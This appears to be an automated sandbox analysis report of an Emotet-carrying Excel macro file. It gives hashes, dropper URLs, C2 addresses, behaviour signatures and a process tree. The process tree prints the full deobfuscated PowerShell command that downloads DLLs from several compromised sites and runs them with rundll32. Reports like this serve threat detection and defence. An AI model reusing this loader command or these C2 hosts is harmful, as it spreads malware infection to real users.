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24-11-2021 17:59

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22-11-2021 14:46

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22-11-2021 14:46

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22-11-2021 14:44

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17-11-2021 06:51

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17-11-2021 06:37

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Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    17-11-2021 06:37

General

  • Target

    865663204559_17_Nov_2021.xlsm

  • Size

    44KB

  • MD5

    477fd718bb764ffe3c5afde16c6c8dd2

  • SHA1

    eb932e19d95f88d64270d40cdc0b92c6d1cf63be

  • SHA256

    ee880ebdf26a1bcebe70a7ba17659199833c6107d758e26d37502bed9a225ee3

  • SHA512

    f7d0451ca3670179cc93a680b99f8982204c43054c55eb479c38dc8ea0ba6ba5b6ebea4508569091c07d95a759841455605e6daeab445146b29fc1af377ba267

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://evgeniys.ru/sap-logs/D6/

exe.dropper

http://crownadvertising.ca/wp-includes/OxiAACCoic/

exe.dropper

https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/

exe.dropper

http://immoinvest.com.br/blog_old/wp-admin/luoT/

exe.dropper

https://yoho.love/wp-content/e4laFBDXIvYT6O/

exe.dropper

https://www.168801.xyz/wp-content/6J3CV4meLxvZP/

exe.dropper

https://www.pasionportufuturo.pe/wp-content/XUBS/

Extracted

Family

emotet

Botnet

Epoch4

C2

91.200.186.228:443

191.252.196.221:8080

94.177.248.64:443

66.42.55.5:7080

103.8.26.103:8080

185.184.25.237:8080

103.8.26.102:8080

178.79.147.66:8080

58.227.42.236:80

45.118.135.203:7080

103.75.201.2:443

195.154.133.20:443

45.142.114.231:8080

212.237.5.209:443

207.38.84.195:8080

104.251.214.46:8080

212.237.17.99:8080

212.237.56.116:7080

216.158.226.206:443

110.232.117.186:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)

    suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 64 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\865663204559_17_Nov_2021.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2732
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3704
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1288
        • C:\Windows\SysWow64\rundll32.exe
          "C:\Windows\SysWow64\rundll32.exe" C:\ProgramData\431987527.dll,f1743583154
          4⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:4108
          • C:\Windows\SysWOW64\rundll32.exe
            C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\431987527.dll",Control_RunDLL
            5⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:1420
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Lumwntkq\tbbrglptq.gyc",mhqNyttUUqBAi
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1068
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Lumwntkq\tbbrglptq.gyc",Control_RunDLL
                7⤵
                • Blocklisted process makes network request
                • Suspicious behavior: EnumeratesProcesses
                PID:1156

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1288-288-0x000001C264E00000-0x000001C264E02000-memory.dmp

    Filesize

    8KB

  • memory/1288-289-0x000001C264E03000-0x000001C264E05000-memory.dmp

    Filesize

    8KB

  • memory/1288-316-0x000001C264E08000-0x000001C264E09000-memory.dmp

    Filesize

    4KB

  • memory/1288-301-0x000001C264E06000-0x000001C264E08000-memory.dmp

    Filesize

    8KB

  • memory/2732-121-0x00007FF9B61A0000-0x00007FF9B61B0000-memory.dmp

    Filesize

    64KB

  • memory/2732-118-0x00007FF9B61A0000-0x00007FF9B61B0000-memory.dmp

    Filesize

    64KB

  • memory/2732-123-0x000001E625F70000-0x000001E625F72000-memory.dmp

    Filesize

    8KB

  • memory/2732-122-0x00007FF9B61A0000-0x00007FF9B61B0000-memory.dmp

    Filesize

    64KB

  • memory/2732-125-0x000001E625F70000-0x000001E625F72000-memory.dmp

    Filesize

    8KB

  • memory/2732-124-0x000001E625F70000-0x000001E625F72000-memory.dmp

    Filesize

    8KB

  • memory/2732-120-0x00007FF9B61A0000-0x00007FF9B61B0000-memory.dmp

    Filesize

    64KB

  • memory/2732-119-0x00007FF9B61A0000-0x00007FF9B61B0000-memory.dmp

    Filesize

    64KB

  • memory/4108-340-0x0000000010000000-0x0000000010028000-memory.dmp

    Filesize

    160KB